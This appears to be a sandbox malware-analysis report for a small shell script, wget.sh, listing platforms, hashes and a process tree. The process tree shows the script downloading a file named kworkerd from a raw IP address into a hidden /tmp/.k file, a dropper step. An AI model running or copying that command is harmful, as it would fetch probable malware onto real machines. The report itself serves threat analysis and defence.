Overview

overview

3

Static

static

1

wget.sh

ubuntu-18.04-amd64

3

wget.sh

debian-9-armhf

3

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    128s
  • max time network
    130s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/07/2026, 04:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget.sh
  • Size 4KB
  • Sample260708-fk8tgsbs8y
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
3/10

Malware Config

Signatures

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
      PID:656
      • /usr/bin/wget
        wget http://91.92.40.118/kworkerd -O /tmp/.k
        2⤵
        • Writes file to tmp directory
        PID:657

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          .k
          • Path /tmp/.k
          • Size 90KB
          • SHA256 55f14dbf16f86a291a05dc6608a0689176156887a29989a66d92501d4738da72
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download